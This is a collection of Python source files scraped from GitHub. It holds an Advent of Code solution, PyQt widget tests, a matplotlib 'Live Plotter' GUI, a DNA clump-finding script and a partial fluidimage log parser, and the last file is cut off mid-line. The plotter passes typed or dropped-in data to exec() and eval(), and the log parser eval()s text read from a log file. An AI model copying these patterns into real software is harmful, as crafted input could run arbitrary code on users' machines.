{"seq_id": "11628807618", "text": "import re\nfrom utils import inputfile_to_array, remove_empty_lines_and_concat\nfrom math import floor, ceil\nfrom statistics import mean \n\nluggage_rules = inputfile_to_array(\"inputs/input_day_7.txt\")\n\ndef bags_that_can_contain_directly(luggage_rules, bags_to_search_for):\n\n    bags_that_can_contain_bag_to_search_for = set()\n    for luggage_rule in luggage_rules:\n        outer_bag = luggage_rule.split(\"contain\")[0].strip().replace(\"bags\",\"\").strip()\n        content   = luggage_rule.split(\"contain\")[-1].strip()\n        inner_bags_unsanitized = content.split(\",\")\n        inner_bags = []\n        for bag in inner_bags_unsanitized:\n            inner_bags.append(bag.replace(\".\",\"\").replace(\"bags\",\"\").replace(\"bag\",\"\").strip())\n        for bag_to_search_for in bags_to_search_for:\n            for inner_bag in inner_bags:\n                if bag_to_search_for in inner_bag:\n                    bags_that_can_contain_bag_to_search_for.add(outer_bag)\n    return (bags_that_can_contain_bag_to_search_for)\n\ndef get_value_of_bag(luggage_rules, input_bag):\n    '''\n    Value is meant as how many bags it must contain (plus itself). Each individual bag adds 1 in value\n    '''\n    content_of_bag = get_content_of_bag(luggage_rules, input_bag)\n    if content_of_bag:\n        value = 1\n        for i in content_of_bag:\n            number,bag = i\n            value +=  int(number) * int(get_value_of_bag(luggage_rules, bag))\n        return value\n    else:\n        return 1\n\ndef get_content_of_bag(luggage_rules, input_bag):\n\n    number_and_bag_list = []\n    for luggage_rule in luggage_rules:\n        outer_bag = luggage_rule.split(\"contain\")[0].strip().replace(\"bags\",\"\").strip()\n        if outer_bag == input_bag:\n            unsanitized_content = luggage_rule.split(\"contain\")[-1].strip().split(\",\")\n            if \"no other\" in unsanitized_content[0]:\n                return False\n            for inner_bag in unsanitized_content:\n                inner_bag = inner_bag.strip()\n                number_and_bag_list.append((inner_bag.split(\" \")[0],\" \".join(inner_bag.split(\" \")[1:3])))\n    return number_and_bag_list\n\n\ndef task_a(luggage_rules):\n    bags_to_look_for = {\"shiny gold\"}\n    solution_bags = set()\n    while bool(bags_to_look_for):\n        (bags_from_this_run)  = bags_that_can_contain_directly(luggage_rules, bags_to_look_for)\n        solution_bags = solution_bags | bags_from_this_run\n        bags_to_look_for = bags_from_this_run\n    return len(solution_bags)\n\ndef task_b(luggage_rules):\n    bag = \"shiny gold\"\n    return get_value_of_bag(luggage_rules, bag)-1 # Here I have to subtract 1 because the top bag itself is not to be counted \n\nprint(\"Number of bags that can have at least one shiny gold bag in task a:\", task_a(luggage_rules))\nprint(\"Number of bags included in a shiny gold bag in task b:\", task_b(luggage_rules))\n\n", "repo_name": "anderssh/advent_of_code_2020", "sub_path": "day_7.py", "file_name": "day_7.py", "file_ext": "py", "file_size_in_byte": 2831, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "utils.inputfile_to_array", "line_number": 6, "usage_type": "call"}]}
{"seq_id": "23837141368", "text": "import sys\nimport numpy as np\nfrom PyQt5.QtWidgets import QWidget\nfrom PyQt5.QtWidgets import QApplication\nfrom PyQt5.QtWidgets import QTableWidgetItem\nimport unittest\nfrom unittest.mock import MagicMock\n\nsys.path.insert(1, 'src/')\nfrom widgets import MplCanvas, LineCanvas, ImageCanvas, Table\n\n\nclass TestLineCanvas(unittest.TestCase):\n\n    def setUp(self):\n        self.det = MagicMock()\n        self.det.center_mass = np.array([[1, 10, 20], [2, 20, 30], [3, 30, 40]])\n        self.canvas = LineCanvas(det_=self.det, current_image_idx=1)\n\n    # Проверяет очистку и обновление графика при отрисовке линейного графика\n    def test_draw_line(self):\n        self.canvas.axes.clear = MagicMock()\n        self.canvas.update_canvas = MagicMock()\n\n        self.canvas.draw_line()\n\n        self.canvas.axes.clear.assert_called_once()\n        self.canvas.update_canvas.assert_called_once()\n\n    # Проверяет отрисовку линейного графика с текущей точкой в красном цвете\n    def test_draw_line_with_current_point(self):\n        self.canvas.axes.clear = MagicMock()\n        self.canvas.update_canvas = MagicMock()\n\n        self.canvas.current_image = 2\n        self.canvas.draw_line()\n\n        self.canvas.axes.clear.assert_called_once()\n        self.canvas.update_canvas.assert_called_once()\n\n\nclass TestImageCanvas(unittest.TestCase):\n\n    def setUp(self):\n        self.det = MagicMock()\n        self.det.img = np.random.rand(10, 10)\n        self.det.img_contour = np.random.rand(10, 10)\n        self.canvas = ImageCanvas(det_=self.det)\n\n    # Проверяет загрузку изображения без контура и обновление отображения\n    def test_load_image_without_contour(self):\n        self.canvas.img = MagicMock()\n        self.canvas.axes.draw_artist = MagicMock()\n        self.canvas.fig.canvas.blit = MagicMock()\n\n        self.canvas.load_image()\n\n        self.canvas.img.set_data.assert_called_once_with(self.det.img)\n        self.canvas.axes.draw_artist.assert_called_once()\n        self.canvas.fig.canvas.blit.assert_called_once()\n\n    # Проверяет загрузку изображения с контуром и обновление отображения\n    def test_load_image_with_contour(self):\n        self.canvas.img = MagicMock()\n        self.canvas.axes.draw_artist = MagicMock()\n        self.canvas.fig.canvas.blit = MagicMock()\n        self.canvas.contour_or_not = 1\n\n        self.canvas.load_image()\n\n        self.canvas.img.set_data.assert_called_once_with(self.det.img_contour)\n        self.canvas.axes.draw_artist.assert_called_once()\n        self.canvas.fig.canvas.blit.assert_called_once()\n\n    # Проверяет переключение на следующее изображение и его загрузку\n    def test_draw_next_image(self):\n        self.canvas.current_image_idx = 1\n        self.canvas.load_image = MagicMock()\n\n        self.canvas.draw_next_image()\n\n        self.assertEqual(self.canvas.current_image_idx, 2)\n        self.canvas.load_image.assert_called_once()\n\n    # Проверяет переключение на предыдущее изображение и его загрузку\n    def test_draw_previous_image(self):\n        self.canvas.current_image_idx = 1\n        self.canvas.load_image = MagicMock()\n\n        self.canvas.draw_previous_image()\n\n        self.assertEqual(self.canvas.current_image_idx, 0)\n        self.canvas.load_image.assert_called_once()\n\n    # Проверяет обновление текущего изображения на основе значения слайдера\n    def test_update_image_from_slider(self):\n        self.canvas.current_image_idx = 0\n        self.canvas.load_image = MagicMock()\n\n        self.canvas.update_image_from_slider(200)\n\n        self.assertEqual(self.canvas.current_image_idx, 2)\n        self.canvas.load_image.assert_called_once()\n\n\nclass TestTable(unittest.TestCase):\n\n    def setUp(self):\n        self.det = MagicMock()\n        self.det.center_mass = np.array([[1, 10, 20], [2, 20, 30], [3, 30, 40]])\n        self.table = Table(current_image_idx=1, det=self.det)\n        self.app = QApplication([])\n\n    def tearDown(self):\n        self.app.quit()\n\n    # Проверяет отображение строк таблицы, соответствующих текущему изображению\n    def test_show_row(self):\n        self.table.numbers_of_rows = MagicMock(return_value=[0, 1, 2])\n        self.table.setItem = MagicMock()\n\n        self.table.show_row(1)\n\n        self.table.numbers_of_rows.assert_called_once()\n        self.table.setItem.assert_called()\n\n    # Проверяет возвращение индексов строк для первого изображения\n    def test_numbers_of_rows_first_image(self):\n        self.table.index = 0\n\n        rows = self.table.numbers_of_rows()\n\n        self.assertEqual(rows, [0, 1, 2])\n\n    # Проверяет возвращение индексов строк для последнего изображения\n    def test_numbers_of_rows_last_image(self):\n        self.table.index = 2\n\n        rows = self.table.numbers_of_rows()\n\n        self.assertEqual(rows, [0, 1, 2])\n\n    # Проверяет возвращение индексов строк для среднего изображения\n    def test_numbers_of_rows_middle_image(self):\n        self.table.index = 1\n\n        rows = self.table.numbers_of_rows()\n\n        self.assertEqual(rows, [0, 1, 2])\n\n\ndef run_tests():\n    unittest.main()\n\nif __name__ == '__main__':\n    run_tests()\n", "repo_name": "markusLons/almavik", "sub_path": "almavik/tests/wow/test_widgets.py", "file_name": "test_widgets.py", "file_ext": "py", "file_size_in_byte": 5709, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.path.insert", "line_number": 9, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "unittest.TestCase", "line_number": 13, "usage_type": "attribute"}, {"api_name": "unittest.mock.MagicMock", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 17, "usage_type": "call"}, {"api_name": "widgets.LineCanvas", "line_number": 18, "usage_type": "call"}, {"api_name": "unittest.mock.MagicMock", "line_number": 22, "usage_type": "call"}, {"api_name": "unittest.mock.MagicMock", "line_number": 23, "usage_type": "call"}, {"api_name": "unittest.mock.MagicMock", "line_number": 32, "usage_type": "call"}, {"api_name": "unittest.mock.MagicMock", "line_number": 33, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 42, "usage_type": "attribute"}, {"api_name": "unittest.mock.MagicMock", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 46, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 47, "usage_type": "attribute"}, {"api_name": "widgets.ImageCanvas", "line_number": 48, "usage_type": "call"}, {"api_name": "unittest.mock.MagicMock", "line_number": 52, "usage_type": "call"}, {"api_name": "unittest.mock.MagicMock", "line_number": 53, "usage_type": "call"}, {"api_name": "unittest.mock.MagicMock", "line_number": 54, "usage_type": "call"}, {"api_name": "unittest.mock.MagicMock", "line_number": 64, "usage_type": "call"}, {"api_name": "unittest.mock.MagicMock", "line_number": 65, "usage_type": "call"}, {"api_name": "unittest.mock.MagicMock", "line_number": 66, "usage_type": "call"}, {"api_name": "unittest.mock.MagicMock", "line_number": 78, "usage_type": "call"}, {"api_name": "unittest.mock.MagicMock", "line_number": 88, "usage_type": "call"}, {"api_name": "unittest.mock.MagicMock", "line_number": 98, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 106, "usage_type": "attribute"}, {"api_name": "unittest.mock.MagicMock", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 110, "usage_type": "call"}, {"api_name": "widgets.Table", "line_number": 111, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 112, "usage_type": "call"}, {"api_name": "unittest.mock.MagicMock", "line_number": 119, "usage_type": "call"}, {"api_name": "unittest.mock.MagicMock", "line_number": 120, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 153, "usage_type": "call"}]}
{"seq_id": "32259168214", "text": "from PyQt5.QtWidgets import (QApplication, QPushButton,QWidget,QSizePolicy,\n                             QMainWindow,QAction,QVBoxLayout,QDockWidget,\n                             QLabel,QFileDialog,QTextEdit,QCheckBox)\nfrom PyQt5.QtGui import QFont\nfrom PyQt5.QtCore import Qt,QEvent\nimport sys\nfrom matplotlib.figure import Figure\nfrom matplotlib.backends.backend_qt5agg import (\n        FigureCanvas, NavigationToolbar2QT as NavigationToolbar)\n\nclass Interface(QMainWindow):\n    current_graph='Scatter Plot'\n    plot_type=['Scatter Plot', 'Line Plot','Histogram','Pie Chart',\n               'Bar Chart','Double Bar Chart']\n    header_labels={'Scatter Plot':'X Data, Y Data', \n                   'Line Plot':'X Data, Y Data',\n                   'Histogram':'X Data, Y Data',\n                   'Pie Chart':'Percent',\n                   'Bar Chart':'X Label, Height',\n                   'Double Bar Chart':'X Label, Height1, Height2'}\n    data_types={'Scatter Plot':['float','float'], \n                   'Line Plot':['float','float'],\n                   'Histogram':['float','float'],\n                   'Pie Chart':['float'],\n                   'Bar Chart':['str','float'],\n                   'Double Bar Chart':['str','float','float']}\n    function_calls={'Scatter Plot':'scatter', \n                   'Line Plot':'plot',\n                   'Histogram':'hist',\n                   'Pie Chart':'pie',\n                   'Bar Chart':'bar',\n                   'Double Bar Chart':'beast'}\n    function_kwargs={'Scatter Plot':None, \n                   'Line Plot':None,\n                   'Histogram':None,\n                   'Pie Chart':\"autopct='%1.1f%%'\",\n                   'Bar Chart':None,\n                   'Double Bar Chart':None}\n    def __init__(self):\n        super().__init__()\n        self.setWindowTitle('Live Plotter')\n        self.size_policy=QSizePolicy.Expanding\n        self.font=QFont()\n        self.font.setPointSize(12)        \n        self.geometry()\n        self.menu()\n        self.showMaximized()\n        self.show()\n        \n    def menu(self):\n        self.menuType=self.menuBar().addMenu('&Chart Type')\n        self.actions={}\n        for i in self.plot_type:\n            self.actions[i]=self.action_definer(i)\n            self.menuType.addAction(self.actions[i])\n            \n    def action_definer(self,label):\n        action=QAction('&{}'.format(label),self,checkable=True)\n        action.setFont(self.font)\n        action.triggered.connect(lambda: self.action_changed(label))\n        if label==self.plot_type[0]:\n            action.setChecked(True)\n        return action\n\n    def action_changed(self,label):\n        self.text_format.setText(self.header_labels[label])\n        for i in self.actions:\n            if i!=label:\n                self.actions[i].setChecked(False)\n            else:\n                self.actions[i].setChecked(True)\n                self.current_graph=i\n                self.update_graph()\n    \n    def geometry(self):\n        #configure the main graph\n        self.plot_window=QWidget()\n        layout=QVBoxLayout()\n        self.figure=Figure()\n        self._canvas=FigureCanvas(self.figure)\n        self.toolbar=CustomToolbar(self._canvas,self)\n        layout.addWidget(self.toolbar)\n        layout.addWidget(self._canvas)\n        self.plot_window.setLayout(layout)\n        self.setCentralWidget(self.plot_window)\n        self.axis = self._canvas.figure.subplots()\n        self.figure.tight_layout()\n        self.setCentralWidget(self.plot_window)\n        \n        #now configure the right side to be a plain text editor\n        right_dock=QDockWidget('Data')\n        right_widget=QWidget()\n        self.text_format=QLabel(self.header_labels['Scatter Plot'])\n        self.text_format.setFont(self.font)\n        \n        # self.data_editor=QTextEdit(self)\n        self.data_editor=Custom_Text_Editor(self)\n        self.data_editor.setSizePolicy(self.size_policy, self.size_policy)\n        self.data_editor.setFont(self.font)\n        self.data_editor.installEventFilter(self)\n        \n        self.hold_plot_on=QCheckBox('Reset Graph')\n        self.hold_plot_on.setChecked(True)\n        self.hold_plot_on.setFont(self.font)\n        \n        self.process=QPushButton('Update')\n        self.process.setFont(self.font)\n        self.process.clicked.connect(self.update_graph)\n        \n        layout=QVBoxLayout()\n        layout.addWidget(self.text_format)\n        layout.addWidget(self.data_editor)\n        layout.addWidget(self.hold_plot_on)\n        layout.addWidget(self.process)\n        right_widget.setLayout(layout)\n        right_dock.setWidget(right_widget)\n        self.addDockWidget(Qt.LeftDockWidgetArea, right_dock)\n        \n    def eventFilter(self, obj, event):\n        if event.type() == QEvent.KeyPress and obj is self.data_editor:\n            if event.key() == Qt.Key_Return or event.key()==Qt.Key_Enter \\\n                and self.data_editor.hasFocus():\n                self.update_graph()\n        return super().eventFilter(obj, event)\n        \n    def update_graph(self):\n        if self.hold_plot_on.isChecked():\n            self.axis.clear()\n        #get the data from the text editor first\n        data=self.data_import(self.data_editor.toPlainText())\n        #now actually plot the data\n        d_lists=''\n        for i in range(len(data)-1):\n            d_lists+='data[{}],'.format(i)\n        d_lists+='data[{}]'.format(len(data)-1)\n        if self.function_kwargs[self.current_graph]!=None:\n            d_lists+=',{}'.format(self.function_kwargs[self.current_graph])\n        try:\n            exec('{}.{}({})'.format('self.axis',\n                                        self.function_calls[self.current_graph],\n                                        d_lists))\n        except Exception as e:\n            print(e)\n        #now handle the various options for the pie charts and bar charts            \n        self._canvas.draw()\n        self.figure.tight_layout()\n        \n    def data_import(self,text):\n        columns=text.split(sep='\\n')\n        #get the data types to try and convert based on the selected\n        #graph style\n        d_type=self.data_types[self.current_graph]\n        data={}\n        for i in range(len(d_type)):\n            data[i]=[]\n        \n        for i in columns:\n            splitr=i.split(sep=',')\n            for j in range(len(splitr)):\n                value=splitr[j]\n                if value!='':\n                    try:\n                        if d_type[j]!='str':\n                            data[j].append(eval('{}({})'.format(d_type[j],value)))\n                        else:\n                            data[j].append(value)\n                    except Exception as e: \n                        print(e)  \n        return data\n    \nclass Custom_Text_Editor(QTextEdit):\n    def __init__(self,parent):\n        super().__init__(parent)\n    \n    def dragEnterEvent(self, event):\n        if event.mimeData().hasText:\n            event.accept()\n        else:\n            event.ignore()\n\n    def dragMoveEvent(self, event):\n        if event.mimeData().hasText:\n            event.accept()\n        else:\n            event.ignore()\n\n    def dropEvent(self, event):\n        if event.mimeData().hasText:\n            event.setDropAction(Qt.CopyAction)\n            file_path = event.mimeData().urls()[0].toLocalFile()\n            self.read_file(file_path)\n            event.accept()\n        else:\n            event.ignore()\n            \n    def read_file(self,path):\n        self.clear()\n        f=open(path,'r')\n        data=f.readlines()\n        f.close()\n        for i in data:\n            self.append(i.split(sep='\\n')[0])\n            \nclass CustomToolbar(NavigationToolbar):\n    def __init__(self,canvas_,parent_):\n        NavigationToolbar.__init__(self,canvas_,parent_)\n        \n    def save_figure(self,*args):\n        filetypes = self.canvas.get_supported_filetypes_grouped()\n        sorted_filetypes = sorted(filetypes.items())\n        default_filetype = self.canvas.get_default_filetype()\n        des_extens=[]\n        for name,exts in sorted_filetypes:\n            name_exts=''.join(['*{}'.format(i) for i in exts])\n            vals='{} ({})'.format(name, name_exts)\n            if default_filetype in name_exts:\n                default=vals\n            des_extens.append(vals)\n        des_extens=';;'.join(des_extens)\n        file_name,ok=QFileDialog.getSaveFileName(self,'Image Saving','',\n                                                 des_extens,default)\n        if ok:\n            self.canvas.figure.savefig(file_name,dpi=600)\n        \nif __name__ ==\"__main__\":\n    app=QApplication(sys.argv)\n    ex=Interface()\n    sys.exit(app.exec_())", "repo_name": "alangburl/Live_Plotter", "sub_path": "Code/GUI.py", "file_name": "GUI.py", "file_ext": "py", "file_size_in_byte": 8653, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 11, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QSizePolicy.Expanding", "line_number": 42, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QSizePolicy", "line_number": 42, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 43, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QAction", "line_number": 58, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 77, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.figure.Figure", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.backends.backend_qt5agg.FigureCanvas", "line_number": 80, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QDockWidget", "line_number": 91, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 92, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 93, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QCheckBox", "line_number": 102, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 106, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 110, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.LeftDockWidgetArea", "line_number": 117, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 117, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QEvent.KeyPress", "line_number": 120, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QEvent", "line_number": 120, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.Key_Return", "line_number": 121, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 121, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.Key_Enter", "line_number": 121, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QTextEdit", "line_number": 171, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.CopyAction", "line_number": 189, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 189, "usage_type": "name"}, {"api_name": "matplotlib.backends.backend_qt5agg.NavigationToolbar2QT", "line_number": 204, "usage_type": "name"}, {"api_name": "matplotlib.backends.backend_qt5agg.NavigationToolbar2QT.__init__", "line_number": 206, "usage_type": "call"}, {"api_name": "matplotlib.backends.backend_qt5agg.NavigationToolbar2QT", "line_number": 206, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getSaveFileName", "line_number": 220, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 220, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 226, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 226, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 228, "usage_type": "call"}]}
{"seq_id": "23388914450", "text": "from collections import defaultdict\nimport sys\n\nif len(sys.argv) == 2:\n    with open(sys.argv[1]) as f:\n        data = f.readline().rstrip()\n        k, L, t = map(int, f.readline().rstrip().split())\nelif len(sys.argv) == 5:\n    with open(sys.argv[1]) as f:\n        data = f.readline().rstrip()\n    k, L, t = map(int, sys.argv[2:])\n\n\ndef ClumpFinding(data, k, L, t):\n    k_mers = defaultdict(list)\n\n    for i in range(len(data) - k):\n        k_mer = data[i:i+k]\n        k_mers[k_mer].append(i)\n\n    def has_clump(locs, L, t, k):\n        for i in range(len(locs)):\n            if len(locs) - i < t:\n                break\n            if locs[i+t-1] + k - locs[i] <= L:\n                return True\n        return False\n\n    clump_k_mers = [k_mer for k_mer, locs in k_mers.items()  if has_clump(locs, L, t, k)]\n    return clump_k_mers\n\nclump_k_mers = ClumpFinding(data, k, L, t)\n\nprint(\" \".join(clump_k_mers))\nprint(len(set(clump_k_mers)))\n\n", "repo_name": "sourencho/bjij", "sub_path": "ClumpFinding/clump_finding.py", "file_name": "clump_finding.py", "file_ext": "py", "file_size_in_byte": 936, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.argv", "line_number": 4, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 5, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 8, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 9, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 11, "usage_type": "attribute"}, {"api_name": "collections.defaultdict", "line_number": 15, "usage_type": "call"}]}
{"seq_id": "31631023538", "text": "\"\"\"Parse and analyze logging files (:mod:`fluidimage.topologies.log`)\n=====================================================================\n\n.. autoclass:: LogTopology\n   :members:\n   :private-members:\n\n\"\"\"\n\nimport time\nfrom glob import glob\nfrom pathlib import Path\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom fluiddyn.util import is_run_from_ipython\n\nif is_run_from_ipython():\n    plt.ion()\n\ncolors = [\"r\", \"b\", \"y\", \"g\"]\n\n\ndef float_no_valueerror(word):\n    try:\n        return float(word)\n    except ValueError:\n        return np.nan\n\n\nclass LogTopology:\n    \"\"\"Parse and analyze logging files.\"\"\"\n\n    def __init__(self, path):\n        path = Path(path)\n\n        if path.is_dir():\n            paths = sorted(glob(str(path / \"log_*\")))\n            paths = [path for path in paths if \"_multi\" not in Path(path).name]\n            if len(paths) == 0:\n                raise ValueError(\"No log files found in the current directory.\")\n\n            path = Path(paths[-1])\n            if path.is_dir():\n                path = Path(\n                    next(\n                        path\n                        for path in glob(str(path / \"log*\"))\n                        if \"_multi\" not in path\n                    )\n                )\n\n        self.log_dir_path = path.parent\n        self.log_file = path.name\n        self._title = str(self.log_file)\n\n        self._parse_log(path)\n\n    def _parse_log(self, path):\n        self.works = works = []\n        self.works_ended = works_ended = []\n        self.nb_cpus_allowed = None\n        self.nb_max_workers = None\n        self.log_files = None\n        self.executor_name = None\n        self.topology_name = None\n        with open(path, \"r\") as logfile:\n            print(\"Parsing log file: \", path)\n            for iline, line in enumerate(logfile):\n                if iline % 100 == 0:\n                    print(f\"\\rparse line {iline}\", end=\"\", flush=True)\n\n                if line.startswith(\"ERROR: \"):\n                    continue\n\n                if self.nb_cpus_allowed is None and line.startswith(\n                    \"INFO:   nb_cpus_allowed = \"\n                ):\n                    self.nb_cpus_allowed = int(line.split()[3])\n                    self._title += f\", nb_cpus_allowed = {self.nb_cpus_allowed}\"\n\n                if self.nb_max_workers is None and line.startswith(\n                    \"INFO:   nb_max_workers = \"\n                ):\n                    self.nb_max_workers = int(line.split()[3])\n                    self._title += f\", nb_max_workers = {self.nb_max_workers}\"\n\n                if self.topology_name is None:\n                    begin = \"INFO:   topology: \"\n                    if line.startswith(begin):\n                        self.topology_name = line.split(begin)[1].strip()\n\n                if self.executor_name is None:\n                    begin = \"INFO:   executor: \"\n                    if line.startswith(begin):\n                        self.executor_name = line.split(begin)[1].strip()\n\n                if self.log_files is None:\n                    begin = \"INFO: logging files: \"\n                    if line.startswith(begin):\n                        self.log_files = eval(line.split(begin)[1].strip())\n\n                if line.startswith(\"INFO: \") and \". mem usage: \" in line:\n                    line = line[11:]\n                    words = line.split()\n\n                    try:\n                        mem = float(words[-2])\n                    except ValueError:\n                        pass\n\n                    if \". Launch work \" in line:\n                        name = words[4]\n                        key = words[5][1:-2]\n                        t = float(words[0])\n                        works.append(\n                            {\n                                \"name\": name,\n                                \"key\": key,\n                                \"mem_start\": mem,\n                                \"time\": t,\n                            }\n                        )\n                    else:\n                        date = words[0][:-1]\n                        t = time.mktime(\n                            time.strptime(date[:-3], \"%Y-%m-%d_%H-%M-%S\")\n                        ) + float(date[-3:])\n\n                    if \": starting execution. mem usage\" in line:\n                        self.date_start = date\n                        self.mem_start = mem\n                        time_start = t\n                    elif \": end of `compute`. mem usage\" in line:\n                        self.date_end = date\n                        self.duration = t - time_start\n                        self.mem_end = mem\n\n                if line.startswith(\"INFO: work \"):\n                    words = line.split()\n                    name = words[2]\n                    key = words[3][1:-1]\n                    try:\n                        duration = float(words[-2])\n                    except ValueError:\n                        pass\n                    else:\n                        works_ended.append(\n                            {\"name\": name, \"key\": key, \"duration\": duration}\n                        )\n\n        print(\"\\rdone\" + 20 * \" \")\n\n        if self.log_files is not None:\n            path_dir = self.log_dir_path\n            for file_name in self.log_files:\n                path = path_dir / file_name\n                with open(path, \"r\") as logfile:\n                    print(\"Parsing log file: \", path.name)\n                    for iline, line in enumerate(logfile):\n                        if iline % 100 == 0:\n                            print(f\"\\rparse line {iline}\", end=\"\", flush=True)\n\n                        if line.startswith(\"ERROR: \"):\n                            continue\n\n                        if line.startswith(\"INFO: \") and \". mem usage: \" in line:\n                            line = line[11:]\n                            words = line.split()\n                            mem = float_no_valueerror(words[-2])\n\n                            if \". Launch work \" in line:\n                                name = words[4]\n                                key = words[5][1:-2]\n                                t = float_no_valueerror(words[0])\n                                works.append(\n                                    {\n                                        \"name\": name,\n                                        \"key\": key,\n                                        \"mem_start\": mem,\n                                        \"time\": t,\n                                    }\n                                )\n                            else:\n                                date = words[0][:-1]\n                                t = time.mktime(\n                                    time.strptime(date[:-3], \"%Y-%m-%d_%H-%M-%S\")\n                                ) + float_no_valueerror(date[-3:])\n\n                            if \": starting execution. mem usage\" in line:\n                                self.date_start = date\n                                self.mem_start = mem\n                                time_start = t\n                            elif \": end of `compute`. mem usage\" in line:\n                                self.date_end = date\n                                self.duration = t - time_start\n                                self.mem_end = mem\n\n                        if line.startswith(\"INFO: work \"):\n                            words = line.split()\n                            name = words[2]\n                            key = words[3][1:-1]\n                            duration = float_no_valueerror(words[-2])\n                            works_ended.append(\n                                {\"name\": name, \"key\": key, \"duration\": duration}\n                            )\n                    print(\"\\rdone\" + 20 * \" \")\n\n        self.names_works = names_works = []\n        for work in works:\n            if work[\"name\"] not in names_works:\n                names_works.append(work[\"name\"])\n\n        self.durations = durations = {}\n        self.times = times = {}\n        self.keys = keys = {}\n        for name in self.names_works:\n            times[name] = []\n            keys[name] = []\n            for work in self.works:\n                if work[\"name\"] == name:\n                    times[name].append(work[\"time\"])\n                    keys[name].append(work[\"key\"])\n\n            works_ended_name = [\n                work for work in self.works_ended if work[\"name\"] == name\n            ]\n            index_vs_keys = {\n                work[\"key\"]: index for index, work in enumerate(works_ended_name)\n            }\n\n            durations[name] = []\n            for key in keys[name]:\n                try:\n                    index_key = index_vs_keys[key]\n                except KeyError:\n                    founded = False\n                else:\n                    founded = True\n                    work = works_ended_name[index_key]\n                    durations[name].append(work[\"duration\"])\n\n                if not founded:\n                    durations[name].append(np.nan)\n\n    def plot_memory(self):\n        \"\"\"Plot the memory usage versus time.\"\"\"\n        plt.figure()\n        ax = plt.gca()\n        ax.set_xlabel(\"time (s)\")\n        ax.set_ylabel(\"memory (Mo)\")\n        ax.set_title(self._title, fontdict={\"fontsize\": 12})\n\n        memories = np.empty(len(self.works))\n        times = np.empty(len(self.works))\n        for i, work in enumerate(self.works):\n            memories[i] = work[\"mem_start\"]\n            times[i] = work[\"time\"]\n\n        ax.plot(times, memories, \"o-\")\n        ax.plot(0, self.mem_start, \"x\")\n        if hasattr(self, \"duration\"):\n            ax.plot(self.duration, self.mem_end, \"x\")\n        plt.show()\n\n    def plot_durations(self):\n        \"\"\"Plot the duration of the works.\"\"\"\n        plt.figure()\n        ax = plt.gca()\n        ax.set_xlabel(\"time (s)\")\n        ax.set_ylabel(\"duration (s)\")\n        ax.set_title(self._title, fontdict={\"fontsize\": 12})\n\n        lines = []\n\n        for i, name in enumerate(self.names_works):\n            times = np.array(self.times[name])\n            durations = self.durations[name]\n            (l,) = ax.plot(times, durations, colors[i] + \"o\")\n            lines.append(l)\n\n            for it, t in enumerate(times):\n                d = durations[it]\n                ax.plot([t, t + d], [d, d], colors[i])\n\n            d = np.nanmean(durations)\n            ax.plot(\n                [times.min(), times.max()], [d, d], colors[i] + \":\", linewidth=2\n            )\n\n        ax.legend(lines, self.names_works, loc=\"center left\", fontsize=\"x-small\")\n\n        plt.show()\n\n    def plot_nb_workers(self, str_names=None):\n        \"\"\"Plot the number of workers versus time.\"\"\"\n        if str_names is not None:\n            names = [name for name in self.names_works if str_names in 